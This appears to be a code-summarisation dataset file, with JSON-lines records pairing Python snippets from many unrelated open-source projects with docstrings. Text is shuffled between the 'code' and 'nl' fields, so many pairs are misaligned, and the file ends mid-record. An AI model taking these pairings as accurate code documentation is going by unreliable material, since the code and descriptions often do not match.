-> float:\n\n For (multi-)sets S and T, this is :math:`S + T`.\n\n In the case of multisets, this counts values in the interesection\n twice. In the case of sets, this is identical to the union.\n \"\"\"", "nl": "Return the cardinality of the symmetric difference.return self.normalizer(sum(abs(val) for val in self._symmetric_difference().values()),2,self._population_card_value,)def _total(self) -> TCounter[str]:Return the sum of the sets."} {"code": "def getItemsByMarketGroup(self, mg, vars_=True):\n if mg and mg.ID in self.ITEMS_FORCEDMARKETGROUP_R:\n if len(mg.children) > 0 and len(mg.items) == 0:\n pyfalog.error((\"Market group \\\"{0}\\\" contains no items and has children. \"\n \"ITEMS_FORCEDMARKETGROUP is likely outdated and will need to be \"\n \"updated for {1} to display correctly.\").format(mg, self.ITEMS_FORCEDMARKETGROUP_R[mg.ID]))\n return False\n return True\n elif len(mg.items) > 0 and len(mg.children) == 0:\n return True\n else:\n return False\n", "nl": "Get items in the given market groupresult = set()# Get items from eos market groupbaseitms = set(mg.items)# Add hardcoded items to setif mg.ID in self.ITEMS_FORCEDMARKETGROUP_R:forceditms = set(self.getItem(itmn) for itmn in self.ITEMS_FORCEDMARKETGROUP_R[mg.ID])baseitms.update(forceditms)if vars_:parents = set()for item in baseitms:# Add one of the base market group items to resultresult.add(item)parent = self.getParentItemByItem(item, selfparent=False)# If item has no parent, it's base item (or at least should be)if parent is None:parents.add(item)# Fetch variations only for parent itemsvariations = self.getVariationsByItems(parents, alreadyparent=True)for variation in variations:# Exclude items with their own explicitly defined market groupsif self.getMarketGroupByItem(variation, parentcheck=False) is None:result.add(variation)else:result = baseitms# Get rid of unpublished itemsresult = set([item_ for item_ in result if self.getPublicityByItem(item_)])return resultdef marketGroupHasTypesCheck(self, mg):If market group has any items, return true"} {"code": "def get_dev_examples(self, data_dir):\n raise NotImplementedError()\n", "nl": "Gets a collection of `InputExample`s for the dev set.raise NotImplementedError()def get_test_examples(self, data_dir):Gets a collection of `InputExample`s for the test set."} {"code": "def __init__(self, importer):\n\n `importer_type` is the type or class of a PEP 302 \"Importer\" (sys.path item\n handler), and `distribution_finder` is a callable that, passed a path\n item and the importer instance, yields ``Distribution`` instances found on\n that path item. See ``pkg_resources.find_on_path`` for an example.\"\"\"", "nl": "Create a metadata provider from a zipimporterself.zip_pre = importer.archive + os.sepself.loader = importerif importer.prefix:self.module_path = os.path.join(importer.archive, importer.prefix)else:self.module_path = importer.archiveself._setup_prefix()_declare_state('dict', _distribution_finders={})def register_finder(importer_type, distribution_finder):Register `distribution_finder` to find distributions in sys.path items"} {"code": "def query_factory(text_preparation_pipeline):\n return ResourceLoader(APP_PATH, query_factory)\n\n\n@pytest.fixture", "nl": "For creating queriesreturn QueryFactory(text_preparation_pipeline=text_preparation_pipeline,system_entity_recognizer=None,duckling=True,)@pytest.fixturedef resource_loader(query_factory):A resource loader"} {"code": "def IgnoreClassIndices(self):\n return 101\n", "nl": "Dictionary of int32 indices for the classes that should be ignored.# A detection that matches with a groundtruth bbox of any neighbor class# will not be considered as false positive in eval.return {}def NumberOfPrecisionRecallPoints(self):Number of points on the precision-recall curve."} {"code": "def associate_with_attribute(cls, attribute):\n cls._listen_on_attribute(attribute, True, attribute.class_)\n\n @classmethod", "nl": "Establish this type as a mutation listener for the givenmapped descriptor."} {"code": "def testOutsideFramework(self):\n @decorators.ComponentFactory(\"test-factory\")\n @decorators.Instantiate(\"test-instance\")\n @decorators.Provides(\"spec_1\")\n @decorators.Provides(\"spec_2\", \"controller\")\n @decorators.Requires(\"req_1\", \"spec_1\")\n @decorators.Requires(\"req_2\", \"spec_1\", True, True)\n @decorators.Property(\"prop_1\", \"prop.1\")\n @decorators.Property(\"prop_2\", \"prop.2\", 42)\n class TestClass(object):\n pass\n\n instance = TestClass()\n\n self.assertTrue(\n instance.controller, \"Default service controller is On\")\n self.assertIsNone(instance.req_1, \"Requirement is not None\")\n self.assertIsNone(instance.req_2, \"Requirement is not None\")\n self.assertIsNone(instance.prop_1, \"Default property value is None\")\n self.assertEqual(instance.prop_2, 42, \"Incorrect property value\")\n\n instance.prop_1 = 10\n instance.prop_2 = False\n\n self.assertEqual(instance.prop_1, 10, \"Property value not modified\")\n self.assertEqual(instance.prop_2, False, \"Property value not modified\")\n", "nl": "Tests the behavior of a manipulated class outside a framework"} {"code": "def set_reputations(self, reps):\n if not all((r in BaseAlertSearchQuery.VALID_REPUTATIONS) for r in reps):\n raise ApiError(\"One or more invalid reputation values\")\n self._update_criteria(\"reputation\", reps)\n return self\n", "nl": "Restricts the alerts that this query is performed on to the specifiedreputation values.:param reps list: List of string reputation values. Valid values are\"KNOWN_MALWARE\", \"SUSPECT_MALWARE\", \"PUP\", \"NOT_LISTED\",\"ADAPTIVE_WHITE_LIST\", \"COMMON_WHITE_LIST\",\"TRUSTED_WHITE_LIST\", and \"COMPANY_BLACK_LIST\".:return: This instance"} {"code": "def _create_token_types_graph(self) -> Dict[str, List[str]]:\n dic = dict()\n\n try:\n _ = self.vocab.tokens_of_type('Program')\n dic['Program'] = ['Bar']\n except KeyError:\n pass\n\n dic['Bar'] = ['Position', 'Bar']\n\n dic['Position'] = ['Pitch']\n dic['Pitch'] = ['Velocity']\n dic['Velocity'] = ['Duration']\n dic['Duration'] = ['Pitch', 'Position', 'Bar']\n\n if self.additional_tokens['Chord']:\n dic['Chord'] = ['Pitch']\n dic['Duration'] += ['Chord']\n dic['Position'] += ['Chord']\n\n if self.additional_tokens['Tempo']:\n dic['Tempo'] = ['Chord', 'Pitch'] if self.additional_tokens['Chord'] else ['Pitch']\n dic['Position'] += ['Tempo']\n\n if self.additional_tokens['Rest']:\n dic['Rest'] = ['Rest', 'Position', 'Bar']\n dic['Duration'] += ['Rest']\n\n self._add_special_tokens_to_types_graph(dic)\n return dic\n", "nl": "rReturns a graph (as a dictionary) of the possible tokentypes successions.NOTE: Program type is not referenced here, you can add it manually bymodifying the tokens_types_graph class attribute following your strategy.:return: the token types transitions dictionary"} {"code": "def compute_target(answers_dset, ans2label, name, cache_root='data/cache'):\n target = []\n for ans_entry in answers_dset:\n answers = ans_entry['answers']\n answer_count = {}\n for answer in answers:\n answer_ = answer['answer']\n answer_count[answer_] = answer_count.get(answer_, 0) + 1\n\n labels = []\n scores = []\n for answer in answer_count:\n if answer not in ans2label:\n continue\n labels.append(ans2label[answer])\n score = get_score(answer_count[answer])\n scores.append(score)\n\n target.append({\n 'question_id': ans_entry['question_id'],\n 'image_id': ans_entry['image_id'],\n 'labels': labels,\n 'scores': scores\n })\n\n utils.create_dir(cache_root)\n cache_file = os.path.join(cache_root, name+'_target.pkl')\n cPickle.dump(target, open(cache_file, 'wb'))\n return target\n\n", "nl": "Augment answers_dset with soft score as label***answers_dset should be preprocessed***Write result into a cache file"} {"code": "def remove_smallwords(tokens: List[str], smallwords_threshold: int) -> List[str]:\n tokens = [word for word in tokens if len(word) > smallwords_threshold]\n return tokens", "nl": "Function that removes words which length is below a threshold[\"hello\", \"my\", \"name\", \"is\", \"John\", \"Doe\"] --> [\"hello\",\"name\",\"John\",\"Doe\"]Parameters----------text : listlist of stringssmallwords_threshold: intthreshold of small wordReturns-------list"} {"code": "def test_rewrite_missing_flag(self):\n if self.test_api == ApiSelector.XML:\n return unittest.skip('Rewrite API is only supported in JSON.')\n object_uri = self.CreateObject(contents=b'bar',\n encryption_key=TEST_ENCRYPTION_KEY1)\n generation = object_uri.generation\n stderr = self.RunGsUtil(\n ['rewrite', '-k',\n '%s\n return_stderr=True,\n expected_status=1)\n self.assertIn('\"rewrite\" called on URL with generation', stderr)\n", "nl": "Tests rewrite with no transformation flag.stderr = self.RunGsUtil(['rewrite', '%s://some_url' % self.default_provider],return_stderr=True,expected_status=1)self.assertIn('command requires at least one transformation flag', stderr)def test_rewrite_generation_url(self):Tests that rewrite fails on a URL that includes a generation."} {"code": "def add_source(self, multi_cmd):\n :class:`Option`\\s or :class:`Argument`\\s. Other subclasses are currently\n not supported by design as some of the internals for parsing are\n intentionally not finalized.\n\n Some settings are supported by both options and arguments.\n\n .. versionchanged:: 2.0\n Changed signature for parameter callback to also be passed the\n parameter. In Click 2.0, the old callback format will still work,\n but it will raise a warning to give you change to migrate the\n code easier.\n\n :param param_decls: the parameter declarations for this option or\n argument. This is a list of flags or argument\n names.\n :param type: the type that should be used. Either a :class:`ParamType`\n or a Python type. The later is converted into the former\n automatically if supported.\n :param required: controls if this is optional or not.", "nl": "Adds a new multi command to the chain dispatcher.self.sources.append(multi_cmd)def get_command(self, ctx, cmd_name):for source in self.sources:rv = source.get_command(ctx, cmd_name)if rv is not None:if self.chain:_check_multicommand(self, cmd_name, rv)return rvdef list_commands(self, ctx):rv = set()for source in self.sources:rv.update(source.list_commands(ctx))return sorted(rv)class Parameter(object):rA parameter to a command comes in two versions: they are either"} {"code": "def _call_registered(self):\n for signum in _SIGNALS:\n prev_handler = signal.getsignal(signum)\n if prev_handler is not None:\n self.prev_handlers[signum] = prev_handler\n signal.signal(signum, self._signal_handler)\n", "nl": "Calls all registered functionslogger.debug(\"Calling registered functions\")while self.funcs:try:self.funcs[-1]()except Exception: # pylint: disable=broad-exceptlogger.error(\"Encountered exception during recovery: \", exc_info=True)self.funcs.pop()def _set_signal_handlers(self):Sets signal handlers for signals in _SIGNALS."} {"code": "def _get_predecessor(self, node):\n node_sequence = node[len(self.prefix):]\n children = self.client.get_children(self.path)\n found_self = False\n contender_matches = []\n for child in children:\n match = self._contenders_re.search(child)\n if match is not None:\n contender_sequence = match.group(1)\n if contender_sequence < node_sequence:\n contender_matches.append(match)\n if child == node:\n found_self = match\n\n if found_self is False:\n raise ForceRetryError()\n\n if not contender_matches:\n return None\n\n sorted_matches = sorted(contender_matches, key=lambda m: m.groups())\n return sorted_matches[-1].string\n", "nl": "returns `node`'s predecessor or NoneNote: This handle the case where the current lock is not a contender(e.g. rlock), this and also edge cases where the lock's ephemeral nodeis gone."} {"code": "def p_direct_abstract_declarator_3(self, p):\n p[0] = c_ast.ArrayDecl(\n type=c_ast.TypeDecl(None, None, None),\n dim=p[2],\n dim_quals=[],\n coord=self._token_coord(p, 1))\n", "nl": " direct_abstract_declarator : LBRACKET assignment_expression_opt RBRACKET"} {"code": "def Animation_setPlaybackRate(self, playbackRate):\n\t\tassert isinstance(playbackRate, (float, int)\n\t\t ), \"Argument 'playbackRate' must be of type '['float', 'int']'. Received type: '%s'\" % type(\n\t\t playbackRate)\n\t\tsubdom_funcs = self.synchronous_command('Animation.setPlaybackRate',\n\t\t playbackRate=playbackRate)\n\t\treturn subdom_funcs\n", "nl": "Function path: Animation.setPlaybackRateDomain: AnimationMethod name: setPlaybackRateParameters:Required arguments:'playbackRate' (type: number) -> Playback rate for animations on pageNo return value.Description: Sets the playback rate of the document timeline."} {"code": "def info(self):\n msg_parts = [\"a unit object or\"]\n\n if self.is_strict:\n msg_parts.append(\"strictly parseable\")\n\n msg_parts.append(\"unit string\")\n\n if self.family_trait != '':\n msg_parts.append(\"compatible with the object's family trait \"\n \"({0.family_trait!s})\".format(self))\n\n if self.allow_none:\n msg_parts.append(\"or None\")\n\n msg = \" \".join(msg_parts)\n return msg\n", "nl": " Returns a description of the trait."} {"code": "def mainloop(self):\n TK.mainloop()\n", "nl": "Starts event loop - calling Tkinter's mainloop function.No argument.Must be last statement in a turtle graphics program.Must NOT be used if a script is run from within IDLE in -n mode(No subprocess) - for interactive use of turtle graphics.Example (for a TurtleScreen instance named screen):>>> screen.mainloop()"} {"code": "def getLogger(name):", "nl": "Create logger with custom exception() method"} {"code": "def next_plus(self, a):\n a = _convert_other(a, raiseit=True)\n return a.next_plus(context=self)\n", "nl": "Returns the smallest representable number larger than a.>>> c = ExtendedContext.copy()>>> c.Emin = -999>>> c.Emax = 999>>> ExtendedContext.next_plus(Decimal('1'))Decimal('1.00000001')>>> c.next_plus(Decimal('-1E-1007'))Decimal('-0E-1007')>>> ExtendedContext.next_plus(Decimal('-1.00000003'))Decimal('-1.00000002')>>> c.next_plus(Decimal('-Infinity'))Decimal('-9.99999999E+999')>>> c.next_plus(1)Decimal('1.00000001')"} {"code": "def setCompleter(self, completer):\n self.completer = completer\n self.modelReset.emit()\n\n\nclass _CompletableLineEdit(QLineEdit):\n \"\"\"Locator line edit.\n\n \"\"\"Text changed or cursor moved. Update completion\n updateCurrentCommand = pyqtSignal()\n\n \"\"\"Enter pressed. Execute command, if complete\n enterPressed = pyqtSignal()\n", "nl": "Set completer, which will be used as data source"} {"code": "def get_items_for_list(self, limit):\n\n\nclass IssuePopularity(BasePopularity):\n name = 'issue.popularity'\n list_type_id = 3\n", "nl": "return Issue.objects.raw(select o.idfrom org_org ojoin org_usertoorgfollow uoon uo.org_id = o.idand uo.following=1group by o.idorder by count(*) desclimit %(limit)s, {'limit': limit})"} {"code": "def _win32RegistryFonts(reg_domain, base_dir):\n import winreg\n items = set()\n\n for reg_path in MSFontDirectories:\n try:\n with winreg.OpenKey(reg_domain, reg_path) as local:\n for j in range(winreg.QueryInfoKey(local)[1]):\n key, value, tp = winreg.EnumValue(local, j)\n if not isinstance(value, str):\n continue\n\n value = value.split(\"\\0\", 1)[0]\n\n try:\n path = Path(base_dir, value).resolve()\n except RuntimeError:\n continue\n\n items.add(path)\n except (OSError, MemoryError):\n continue\n\n return items\n\n", "nl": "rSearches for fonts in the Windows registry.Parameters----------reg_domain : intThe top level registry domain (e.g. HKEY_LOCAL_MACHINE).base_dir : strThe path to the folder where the font files are usually located (e.g.C:\\Windows\\Fonts). If only the filename of the font is stored in theregistry, the absolute path is built relative to this base directory.Returns-------`set``pathlib.Path` objects with the absolute path to the font files found."} {"code": "def test_print_about_success(self):\n printAbout()\n sys.stdout.seek(0)\n self.assertEquals(sys.stdout.read(), about)\n", "nl": "about = Version: %sGeeknote - a command line client for Evernote.Use geeknote --help to read documentation.And visit www.geeknote.me to check for updates.\\n % VERSION"} {"code": "def init_floating_frame(self, frame, layout):\n rect = QRect(*layout.geometry)\n if rect.isValid():\n rect = ensure_on_screen(rect)\n frame.setGeometry(rect)\n frame.show()\n if layout.linked:\n frame.setLinked(True)\n if layout.maximized:\n frame.showMaximized()\n\n @contextmanager", "nl": " Initialize a floating frame.This initializer sets up the geometry, maximized state, andlinked state for the floating frame.Parameters----------frame : QDockFrameThe floating dock frame of interest.layout : ItemLayout or AreaLayoutThe layout describing the floating state of the frame."} {"code": "def get_tt_ranks(self):\n return self._tt_ranks\n", "nl": "Get the TT-ranks in an array of size `num_dims`+1.The first and the last TT-rank are guarantied to be 1.Returns:TensorShape of size `num_dims`+1."} {"code": "def forward(self, x):\n\n\n x = F.avg_pool2d(x, 2)\n x = F.leaky_relu(self.conv1(x), negative_slope = 0.1)\n x = F.leaky_relu(self.conv2(x), negative_slope = 0.1)\n return x\n\nclass up(nn.Module):\n \"\"\"\n\n", "nl": "Returns output tensor after passing input `x` to the neural networkblock.Parameters----------x : tensorinput to the NN block.Returns-------tensoroutput of the NN block."} {"code": "def to_str(self, select=None, limit=20):\n return self.until(key='_select',\n select=select,\n limit=limit,\n parse=False)", "nl": "Short for .until(key=None, *args, **kwargs)"} {"code": "def debug(module, name, pm=False):\n module = _normalize_module(module)\n testsrc = testsource(module, name)\n debug_script(testsrc, pm, module.__dict__)\n\nclass _TestClass:\n \"\"\"\n", "nl": "Debug a single doctest docstring.Provide the module (or dotted name of the module) containing thetest to be debugged and the name (within the module) of the objectwith the docstring with tests to be debugged."} {"code": "def test_unhandledSerializationError(self):", "nl": "Errors during serialization ought to be relayed to the sender'sunhandledError method."} {"code": "def pytest_namespace():\n\n When there is an error during initialization, the first import will report the\n real error while all subsequent imports will report nonsense. This import test\n is done early (in the pytest configuration file, before any tests) in order to\n avoid the noise of having all tests fail with identical error messages.\n\n Any possible exception is caught here and reported manually *without* the stack\n trace. This further reduces noise since the trace would only show pytest internals\n which are not useful for debugging pybind11 module issues.\n \"\"\"", "nl": "Add import suppression and test requirements to `pytest` namespacetry:import numpy as npexcept ImportError:np = Nonetry:import scipyexcept ImportError:scipy = Nonetry:from pybind11_tests.eigen import have_eigenexcept ImportError:have_eigen = Falsepypy = platform.python_implementation() == \"PyPy\"skipif = pytest.mark.skipifreturn {'suppress': suppress,'requires_numpy': skipif(not np, reason=\"numpy is not installed\"),'requires_scipy': skipif(not np, reason=\"scipy is not installed\"),'requires_eigen_and_numpy': skipif(not have_eigen or not np,reason=\"eigen and/or numpy are not installed\"),'requires_eigen_and_scipy': skipif(not have_eigen or not scipy,reason=\"eigen and/or scipy are not installed\"),'unsupported_on_pypy': skipif(pypy, reason=\"unsupported on PyPy\"),'unsupported_on_py2': skipif(sys.version_info.major < 3,reason=\"unsupported on Python 2.x\"),'gc_collect': gc_collect}def _test_import_pybind11():Early diagnostic for test module initialization errors"} {"code": "def retrieve_batch(self, examples: List[Example]) -> List[RetrievalResult]:\n raise NotImplementedError\n", "nl": "Returns the neighbors and distances from a batch of examples.Args:examples: A batch of examples.Returns:a list of RetrievalResults, with the same length as `examples`."} {"code": "def modules_recurse(self, mod=None):\n if mod is None:\n mod = self\n\n for module in mod.children():\n if isinstance(module, (nn.ModuleList, nn.Sequential)):\n yield from self.modules_recurse(module)\n else:\n yield module", "nl": " This function will recursively loop over all module children.Args:mod (torch.nn.Module, optional): Module to loop over; Default **self**"} {"code": "def __iter__(self):\n if self.expr_list is None:\n self.expr_list = [self[i] for i in range(len(self))]\n return iter(self.expr_list)\n", "nl": "Return iterator.Returns:iterator over the sequence; results in explicit conversion to list"} {"code": "def get_info(self):\n response = self._do_request('GET', '/v2/info')\n return self._parse_response(response, MarathonInfo)\n", "nl": "Get server configuration information.:returns: server config info:rtype: :class:`marathon.models.info.MarathonInfo`"} {"code": "def rank_consequence_type(self) -> int:\n ranks: List[int] = []\n for ct in self.consequence_types:\n try:\n rank = ALL_CONSEQUENCE_TYPES.index(ct)\n except ValueError:\n rank = len(ALL_CONSEQUENCE_TYPES)\n logger.warning(\n \"Got unknown consequence type: {ct}; assign its rank = {rank}\",\n ct=ct,\n rank=rank,\n )\n ranks.append(rank)\n return min(ranks)\n", "nl": "Rank the severeness of its consequence type (CSQ column ``Consequence``).Severe consequence type has smaller rank (smallest being 0). Ranking is based on theorder in :attr:`ALL_CONSEQUENCE_TYPES`. When the CSQ has multiple consequence typesseparated by ``&``, return the smallest rank of all the types. When the consequence typeis not known, return the biggest possible rank + 1."} {"code": "def set_foreground(self, foreground):\n pass\n", "nl": " Set the foreground color of the widget.This reimplementation ignores the foreground setting. Theforeground color is set by the theme."} {"code": "def __rsub__(self, other):\n return subtract(other, self)\n", "nl": "Subtract self from other, and return a new masked array."} {"code": "def test_service_property(capsys):\n\n class NewScript(Script):", "nl": " Check that Script.service returns a valid Service instance as soonas the stream_events method is called, but not before."} {"code": "def _put_conn(self, conn):\n try:\n self.pool.put(conn, block=False)\n return\n except AttributeError:\n pass\n except queue.Full:\n log.warning(\"Connection pool is full, discarding connection: %s\", self.host)\n\n if conn:\n conn.close()\n", "nl": "Put a connection back into the pool.:param conn:Connection object for the current host and port as returned by:meth:`._new_conn` or :meth:`._get_conn`.If the pool is already full, the connection is closed and discardedbecause we exceeded maxsize. If connections are discarded frequently,then maxsize should be increased.If the pool is closed, then the connection will be closed and discarded."} {"code": "def AdjustIncludeDirs(self, include_dirs, config):\n config = self._TargetConfig(config)\n includes = include_dirs + self.msvs_system_include_dirs[config]\n includes.extend(self._Setting(", "nl": "Updates include_dirs to expand VS specific paths, and adds the systeminclude dirs used for platform SDK and similar."} {"code": "def set_option_negotiation_callback(self, callback):\n\n Set self.eof when connection is closed. Don't block unless in\n the midst of an IAC sequence.\n\n \"\"\"", "nl": "Provide a callback function called after each receipt of a telnet option.self.option_callback = callbackdef process_rawq(self):Transfer from raw queue to cooked queue."} {"code": "def SdkSetup(self):\n if self.vs_ver > 9.0:\n return []\n\n return [join(self.si.WindowsSdkDir, 'Setup')]\n\n @property", "nl": "Microsoft Windows SDK Setup.Return------list of strpaths"} {"code": "def add_spatial_hashes(self) -> None:\n for sprite_list in self.sprite_lists:\n if sprite_list.spatial_hash:\n sprite_list.spatial_hash.insert_object_for_box(self)\n\n @property", "nl": "Add spatial hashes for this sprite in all the sprite lists it is part of."} {"code": "def import_data(dataset_name, download_dir):\n stock_obj = get_stock_obj(enable_write=True)\n\n co = stock_obj.accessor\n importers = external.get_importers(dataset_name, download_dir)\n total_len = sum([len(importer) for importer in importers])\n splits_added = {}\n\n with Progress() as progress:\n stock_add_bar = progress.add_task(\"Adding to Stockroom: \", total=total_len)\n for importer in importers:\n column_names = importer.column_names()\n dtypes = importer.dtypes()\n shapes = importer.shapes()\n variability = importer.variability_status()\n splits_added[importer.split] = (column_names, len(importer))\n\n new_col_details = []\n for colname, dtype, shape, variability in zip(\n column_names, dtypes, shapes, variability\n ):\n if colname not in co.keys():\n new_col_details.append(\n (\n \"add_ndarray_column\",\n {\n \"name\": colname,\n \"dtype\": dtype,\n \"shape\": shape,\n \"variable_shape\": variability,\n },\n )\n )\n clean_create_column(co, new_col_details)\n\n columns = [co[name] for name in column_names]\n for i, data in enumerate(importer):\n progress.advance(stock_add_bar)\n for col, dt in zip(columns, data):\n col[i] = dt\n\n stock_obj.commit(f\"Data from {dataset_name} added through stock import\")\n stock_obj.close()\n click.echo(f\"The {dataset_name} dataset has been added to StockRoom.\")\n console.print_columns_added(splits_added)", "nl": "Downloads and add a pytorch dataset (from torchvision, torchtext or torchaudio)to StockRoom. It creates the repo if it doesn't exist and loads the datasetinto a repo for you"} {"code": "def test_simple_job_runner_nslots(self):", "nl": "Test SimpleJobRunner sets BCFTBX_RUNNER_NSLOTS"} {"code": "def wm_tuned_out_onus(self):\n return self._packet.get('wm-tuned-out-onus', bytes(0))\n\n @property", "nl": "bit array indicates the list of tuned out ONU's that are in wavelengthmobility protecting state.onu-bit-octects:type binary { length \"4 .. 1024\"; }description each bit position indicates corresponding ONU's status(true or false) whether that ONU's is inwavelength mobility protecting state or notFor 128 ONTs per PON, the size of thisarray will be 16. onu-bit-octects[0] and MSB bit in that byterepresents ONU 0 etc."} {"code": "def resize_short(img, target_size):\n height, width = img.shape[:2]\n size = target_size\n if center == True:\n w_start = (width - size) / 2\n h_start = (height - size) / 2\n else:\n w_start = random.randint(0, width - size)\n h_start = random.randint(0, height - size)\n w_end = w_start + size\n h_end = h_start + size\n img = img[h_start:h_end, w_start:w_end, :]\n return img\n\n", "nl": " resize_short percent = float(target_size) / min(img.shape[0], img.shape[1])resized_width = int(round(img.shape[1] * percent))resized_height = int(round(img.shape[0] * percent))resized = cv2.resize(img,(resized_width, resized_height),# interpolation=cv2.INTER_LANCZOS4)return resizeddef crop_image(img, target_size, center): crop_image "} {"code": "def place(self, center, radius):\n self._radius = float(radius)\n self._center[0] = center[0]\n self._center[1] = center[1]\n", "nl": "Place Arcball, e.g. when window size changes.center : sequence[2]Window coordinates of trackball center.radius : floatRadius of trackball in window coordinates."} {"code": "def is_up_to_date(self):\n if self._debug_info:\n return [tuple(map(int, x.split(\"=\"))) for x in self._debug_info.split(\"&\")]\n return []\n", "nl": "If this variable is `False` there is a newer version available.if self._uptodate is None:return Truereturn self._uptodate()@propertydef debug_info(self):The debug info mapping."} {"code": "def processUniqueID(self):\n\n return id(self)\n\nclass Referenceable(Serializable):\n perspective = None\n \"\"\"I am an object sent remotely as a direct reference.", "nl": "Return an ID which uniquely represents this object for this process.By default, this uses the 'id' builtin, but can be overridden toindicate that two values are identity-equivalent (such as proxiesfor the same object)."} {"code": "def process(self, obj, **kwargs) -> DatasetType:\n pass\n\n\nDatasetAnalyzer = analyzer_class(DatasetHook, DatasetType)\n\n\nclass PrimitivesHook(DatasetHook):\n \"\"\"", "nl": "Analyzes obj and returns result. Result type is determined by specific Hook class sub-hierarchy:param obj: object to analyze:param kwargs: additional information to be used for analysis:return: analysis result"} {"code": "def test_loadsList(self):\n self.assertIsInstance(self.loader.load(), list)\n\n", "nl": "L{TagLoader.load} returns a list, per L{ITemplateLoader}."} {"code": "def collect(self, force=False):\n\n if force or not self.changes:\n self.changes = tuple(self.collect_impl())\n return self.changes\n\n", "nl": "calls collect_impl and stores the results as the child changes ofthis super-change. Returns a tuple of the data generated fromcollect_impl. Caches the result rather than re-computing eachtime, unless force is True"} {"code": "def assert_tensor_eq(result, name1, name2, variable1, variable2):\n\n assert_op = tensor.opt.Assert(name1 + \" != \" + name2)\n return assert_op(result, tensor.eq(variable1, variable2))", "nl": "A small helper function that makes it a little bit easier to assert thattwo Theano variables are equal.:type result: Variable:param result: what the result of the operation should be:type name1: str:param name1: name of the first variable:type name2: str:param name2: name of the second variable:type variable1: Variable:param variable1: the first variable:type variable2: Variable:param variable2: the second variable:rtype: Variable:returns: a tensor variable that returns the same value as ``result``, andasserts that ``variable1`` equals to ``variable2``"} {"code": "def test_create_query_value_error_exception(self, mock_search_response):\n mocked_return_value = \"Invalid_json\"\n mock_search = PaloaltoMockResponse(200, mocked_return_value)\n search_response = PingResponse(mock_search)\n mock_search_response.return_value = search_response\n transmission = stix_transmission.StixTransmission('paloalto', self.connection(), self.configuration())\n query_response = transmission.ping()\n assert query_response is not None\n assert query_response['success'] is False\n assert 'error' in query_response\n assert \"Cannot parse response\" in query_response[\"error\"]\n\n @patch('stix_shifter_modules.paloalto.stix_transmission.api_client.APIClient.create_search')", "nl": "test create query value error with invalid jsonmocked_return_value = \"Invalid_json\"mock_search = PaloaltoMockResponse(200, mocked_return_value)search_response = PingResponse(mock_search)mock_search_response.return_value = search_responsequery = \"\"transmission = stix_transmission.StixTransmission('paloalto', self.connection(), self.configuration())query_response = transmission.query(query)assert query_response is not Noneassert query_response['success'] is Falseassert 'error' in query_responseassert \"Cannot parse response\" in query_response[\"error\"]@patch('stix_shifter_modules.paloalto.stix_transmission.api_client.APIClient.ping_data_source')def test_ping_value_error_exception(self, mock_search_response):test ping connector value error with invalid json"} {"code": "def is_undefined(self):\n return self.value is None\n\n @property", "nl": "Represents whether its value is defined or not."} {"code": "def test_dump_multi_nested(query_factory):\n query_text = \"a large latte with nonfat milk please\"\n query = query_factory.create_query(query_text)\n\n size = QueryEntity.from_query(query, Span(2, 6), entity_type=\"size\")\n option = QueryEntity.from_query(query, Span(19, 29), entity_type=\"option\")\n product = QueryEntity.from_query(\n query, Span(8, 12), entity_type=\"product\", children=(size, option)\n )\n\n processed_query = ProcessedQuery(query, entities=[size, product, option])\n markup_text = (\n \"a [{large|size} {latte|product} with {nonfat milk|option}|product] please\"\n )\n entity_text = \"a {large|size} {latte|product} with {nonfat milk|option} please\"\n group_text = \"a [large latte with nonfat milk|product] please\"\n\n assert markup.dump_query(processed_query) == markup_text\n assert markup.dump_query(processed_query, no_group=True) == entity_text\n assert markup.dump_query(processed_query, no_entity=True) == group_text\n assert (\n markup.dump_query(processed_query, no_group=True, no_entity=True) == query_text\n )\n\n\n@pytest.mark.dump\n@pytest.mark.group", "nl": "Tests dumping a query with multiple nested system entitiesquery_text = \"show me houses between 600,000 and 1,000,000 dollars\"query = query_factory.create_query(query_text)lower = NestedEntity.from_query(query, Span(8, 14), parent_offset=15, entity_type=\"sys_number\")upper = NestedEntity.from_query(query, Span(20, 28), parent_offset=15, entity_type=\"sys_number\")raw_entity = Entity(\"between 600,000 dollars and 1,000,000\",\"price\",value={\"children\": [lower, upper]},)entities = [QueryEntity.from_query(query, Span(15, 51), entity=raw_entity)]processed_query = ProcessedQuery(query, entities=entities)markup_text = (\"show me houses {between {600,000|sys_number} and \"\"{1,000,000|sys_number} dollars|price}\")assert markup.dump_query(processed_query) == markup_textassert markup.dump_query(processed_query, no_group=True) == markup_textassert markup.dump_query(processed_query, no_entity=True) == query_text@pytest.mark.dump@pytest.mark.groupdef test_dump_group(query_factory):Tests dumping a query with an entity group"} {"code": "def close():\n\n", "nl": "Close the file.This method returns nothing if the close succeeds immediately, or aDeferred that is called back when the close succeeds."} {"code": "def selection(chart: list[list[int]], prime_implicants: list[str]) -> list[str]:\n temp = []\n select = [0] * len(chart)\n for i in range(len(chart[0])):\n count = 0\n rem = -1\n for j in range(len(chart)):\n if chart[j][i] == 1:\n count += 1\n rem = j\n if count == 1:\n select[rem] = 1\n for i in range(len(select)):\n if select[i] == 1:\n for j in range(len(chart[0])):\n if chart[i][j] == 1:\n for k in range(len(chart)):\n chart[k][j] = 0\n temp.append(prime_implicants[i])\n while True:\n max_n = 0\n rem = -1\n count_n = 0\n for i in range(len(chart)):\n count_n = chart[i].count(1)\n if count_n > max_n:\n max_n = count_n\n rem = i\n\n if max_n == 0:\n return temp\n\n temp.append(prime_implicants[rem])\n for i in range(len(chart[0])):\n if chart[rem][i] == 1:\n for j in range(len(chart)):\n chart[j][i] = 0\n\n", "nl": ">>> selection([[1]], ['0.00.01.5'])['0.00.01.5']"} {"code": "def __init__(self, job):\n self.setup(job)\n", "nl": "jobThe job object for this job"} {"code": "def dictCode_550_define(self, line):\n self.mode = \"ready\"\n self.matchFailed(\"Invalid database\")\n\n", "nl": "Invalid databaseself.mode = \"ready\"self.defineFailed(\"Invalid database\")def dictCode_550_match(self, line):Invalid database"} {"code": "def obj_check(obj, scene, operation):\n\n pg = scene.pdt_pg\n _operation = operation.upper()\n\n if obj is None:\n pg.error = PDT_ERR_NO_ACT_OBJ\n bpy.context.window_manager.popup_menu(oops, title=\"Error\", icon=\"ERROR\")\n return None, False\n if obj.mode == \"EDIT\":\n bm = bmesh.from_edit_mesh(obj.data)\n if _operation == \"S\":\n if len(bm.edges) < 1:\n pg.error = f\"{PDT_ERR_SEL_1_EDGEM} {len(bm.edges)})\"\n bpy.context.window_manager.popup_menu(oops, title=\"Error\", icon=\"ERROR\")\n return None, False\n return bm, True\n if len(bm.select_history) >= 1:\n vector_a = None\n if _operation not in {\"D\", \"E\", \"F\", 